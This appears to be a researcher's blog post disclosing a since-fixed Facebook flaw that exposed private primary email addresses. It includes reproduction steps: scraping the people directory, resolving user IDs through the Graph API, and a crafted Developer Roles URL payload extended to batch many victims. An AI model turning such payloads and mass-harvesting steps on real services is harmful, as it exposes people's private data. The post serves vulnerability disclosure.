Hi, For this post, I’ll be talking about how I disclose the Private Primary Email Address of any Facebook Account. With no user interaction. Enjoy.
This bug was reported to Facebook Security Team, fixed immediately
Last month, I've found a vulnerability in Facebook Developer Application Roles Page which allowed me to disclose the primary Facebook email address even if the victim set the email address privacy to "Only Me"
Steps to Reproduce
1. Grab profile links of all facebook users from Facebook People Directory i.e http://www.facebook.com/directory/people/
2. Collect Numerical Facebook ID for each Profile from facebook Graph API i.e http://graph.facebook.com/sdfsdfsdafd.sdfdsafsdfds where extracted user ID is 100006240120652
3. Block victim Facebook Account
4. Create Facebook Application -> Go to Settings -> Developer Roles
5. Final payload for this vulnerability looks like this:
https://developers.facebook.com/apps/APPLICATION_ID/roles?unverified_groups[1][0]=VICTIM_UID
Nevertheless, you can obtain multiple email address by adding more parameters
https://developers.facebook.com/apps/APPLICATION_ID/roles
?unverified_groups[1][0]=VICTIM_UID1
&unverified_groups[2][0]=VICTIM_UID2
&unverified_groups[3][0]=VICTIM_UID3
&unverified_groups[4][0]=VICTIM_UID4
&unverified_groups[5][0]=VICTIM_UID5
&unverified_groups[6][0]=VICTIM_UID6
&unverified_groups[7][0]=VICTIM_UID7
&unverified_groups[8][0]=VICTIM_UID8
&unverified_groups[9][0]=VICTIM_UID9
&unverified_groups[10][0]=VICTIM_UID10
and so forth...
